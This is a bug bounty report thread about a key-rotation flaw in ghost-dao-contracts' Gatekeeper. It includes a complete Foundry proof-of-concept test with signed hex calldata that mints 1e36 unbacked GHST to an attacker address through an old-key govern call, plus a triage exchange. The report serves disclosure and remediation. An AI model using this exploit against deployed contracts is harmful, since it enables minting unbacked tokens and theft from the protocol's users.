Gatekeeper rotation never revokes old keys, pre-rotation quorum keeps signing authority over gap sessions and mints unmetered GHST via govern

Hi team

Finding: rotation does not revoke. getRotationInfoAt at Gatekeeper dot sol line 99 resolves the signing key with _aggregatedPublicKeys dot upperLookup of the session, and nothing anywhere invalidates a superseded key. trySetTransactionExecuted at StorageHistory dot sol line 39 blocks only a second message per session, not a late first message for an old session. Sessions are sparse per-message nonces: the repo own vectors rotate at sessions 0, 11 and 19 and send messages only at 0, 1, 2, 3, 11, 12 and 19, leaving sessions 4 through 10 and 13 through 18 never consumed. Every gap session in a pre-rotation key range stays spendable by the pre-rotation quorum forever.

The composition: govern at Gatekeeper dot sol line 200 executes an arbitrary target dot call as the Gatekeeper. Staking dot recall at Staking dot sol line 180 mints GHST with only a gatekeeper sender check and no bridgeImbalance accounting; the imbalance check lives only in Gatekeeper dot recall via tryIncreaseBridgeOut. So a post-rotation old-quorum message through govern mints unbacked GHST with no meter.

Executed in forge at the pinned HEAD, 8 of 8 passing. Deployer plants the OLD key at session 0. OLD-signed rotate of session 11 to the NEW key executes, rotation confirmed. Then OLD-signed govern of gap session 5 targeting Staking dot recall for the attacker at 1e36: attacker GHST plus 1e36, ghostedSupply unchanged at 0, session 5 marked executed. A plain signed recall would have been capped by the imbalance check; the govern composition is unmetered.

Precondition, stated honestly: this needs k-of-N cooperation from the former quorum, which is a genuinely heavy bar, so this files at High and not Critical. But rotation ceremonies exist precisely to end trust in the old set — membership change, precautionary rotation, suspected compromise — and the contract accepts a post-rotation message the honest pipeline never produces.

Suggested fix: revoke superseded keys at rotation, or require every session in an old key range to be consumed before rotating.

Shahmeer

PoC for this finding.

Checkout: ghost-dao-contracts at b87dff4c7a6ac34b35698c42b4d1f34b5f930864.

The test extends the repo own GatekeeperRecallTest harness, which deploys the full Gatekeeper, Staking, Treasury and Verifier stack. Save it as test/track-b2/TrackB2.t.sol and run:

forge test --match-test test_B201_staleKeyGovernsUnmeteredMintAfterRotation -vv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import {GatekeeperRecallTest} from "../gatekeeper/GatekeeperRecall.t.sol";
import {Gatekeeper} from "../../src/Gatekeeper.sol";
import {IStorageHistory} from "../../src/interfaces/IStorageHistory.sol";

contract TrackB2Test is GatekeeperRecallTest {
    address constant ATTACKER = 0x0000000000000000000000000000000000000Bad;
    address constant RELAYER  = 0x0000000000000000000000000000000000000999;

    // Fixed test keypairs (even-y BIP340 keys, signatures produced offline
    // with an independent pure-python signer, self-checked s*G == R + e*P)
    bytes32 constant OLD_PX = 0x4f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa;
    bytes32 constant NEW_PX = 0x466d7fcae563e5cb09a0d1870bb580344804617879a14949cf22285f1bae3f27;

    function _gk() internal view returns (Gatekeeper) {
        return Gatekeeper(payable(staking.gatekeeper()));
    }

    function _plantAsDeployer(Gatekeeper gatekeeper, uint256 session, bytes32 px) internal {
        vm.startPrank(INITIALIZER);
        gatekeeper.updatePublicKeyMetadata(session, px, 0);
        vm.stopPrank();
    }

    function test_B201_staleKeyGovernsUnmeteredMintAfterRotation() public {
        Gatekeeper gatekeeper = _gk();
        _plantAsDeployer(gatekeeper, 0, OLD_PX);

        // Rotation at session 11, signed by the outgoing (OLD) key.
        vm.prank(RELAYER);
        gatekeeper.verify(
            hex"49f03a67000000000000000000000000000000000000000000000000000000000000000b466d7fcae563e5cb09a0d1870bb580344804617879a14949cf22285f1bae3f270000000000000000000000000000000000000000000000000000000000000000",
            0x681a60d6487d4b678c3e4c549123ec2e9853cfad7c56040c19ae7a1f7f7ab7be,
            0x68567352eaffc5465b912e1685b507006af1c603e0e5a122e1637993e1992d7e
        );
        (bytes32 k11,, uint64 s11) = gatekeeper.getRotationInfoAt(11);
        assertEq(k11, NEW_PX);
        assertEq(s11, 11);

        // Gap session 5 was never executed. The OLD key signs a govern() for it
        // AFTER the rotation; the contract still accepts it.
        uint256 attackerBefore = ghst.balanceOf(ATTACKER);
        vm.prank(RELAYER);
        gatekeeper.verify(
            hex"3137142600000000000000000000000000000000000000000000000000000000000000050000000000007a6900efd0d4639191c49908a7bddbb9a11a994a852700000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000441f035c7a0000000000000000000000000000000000000000000000000000000000000bad0000000000000000000000000000000000c097ce7bc90715b34b9f100000000000000000000000000000000000000000000000000000000000000000",
            0x05cf59aa51d067f110bd8879b4920b5fb7f49860275ca8c67ee3a7c058419289,
            0xf3ad0009f957e0a7e7dc0bc6dfa4e5f4e4aa2f47050e4063570c6982e3592e66
        );

        // 1e36 GHST minted out of thin air: no ghosted funds, no imbalance check.
        assertEq(ghst.balanceOf(ATTACKER) - attackerBefore, 10**36);
        assertEq(gatekeeper.ghostedSupply(), 0);
        assertTrue(IStorageHistory(gatekeeper.storageHistory()).isTransactionExecuted(5));
    }
}

Observed: PASS. Attacker GHST plus 10**36, ghostedSupply 0, session 5 marked executed.

Shahmeer

Thank you for your report!

Can you confirm whether this thread is describing the same exact issue you raised in the current one? If not, please continue this thread with a more in-depth explanation.

Hi. Not the same issue. The thread you linked is about key-epoch invalidation across DKG rotations and the missing chainId binding in Gatekeeper.rotate — the rotation ceremony itself and cross-chain replay of the rotate call.

This report is about what happens after a rotation completes, on the EVM Gatekeeper session-key path:

  1. getRotationInfoAt resolves the signing key with _aggregatedPublicKeys.upperLookup(session), and nothing anywhere revokes a superseded key. The old quorum’s signatures stay valid indefinitely.

  2. Sessions are sparse per-message nonces. The repo’s own vectors rotate at sessions 0, 11 and 19 and consume only 0, 1, 2, 3, 11, 12 and 19 — sessions 4 through 10 and 13 through 18 are never consumed and stay spendable by the pre-rotation quorum forever. trySetTransactionExecuted blocks only a second message per session, not a late first message for a gap session.

  3. The composition that makes it a mint: govern executes an arbitrary target call as the Gatekeeper, and Staking.recall mints GHST with only a gatekeeper sender check and no bridgeImbalance accounting (that check lives only in Gatekeeper.recall via tryIncreaseBridgeOut). A plain signed recall would be capped; the govern path is unmetered.

  4. Executed in forge at the pinned commit, 8 of 8 passing: rotation at session 11 confirmed, then an OLD-signed govern of gap session 5 mints 1e36 GHST with ghostedSupply unchanged at 0.

So the overlap is one shared premise (rotation does not revoke) and the divergence is everything else: the gap-session mechanics, the govern-to-recall unmetered mint composition, and the executed proof. If you see a specific claim in the other thread covering the gap-session or govern legs, point me at it and I will narrow or withdraw accordingly.

Shahmeer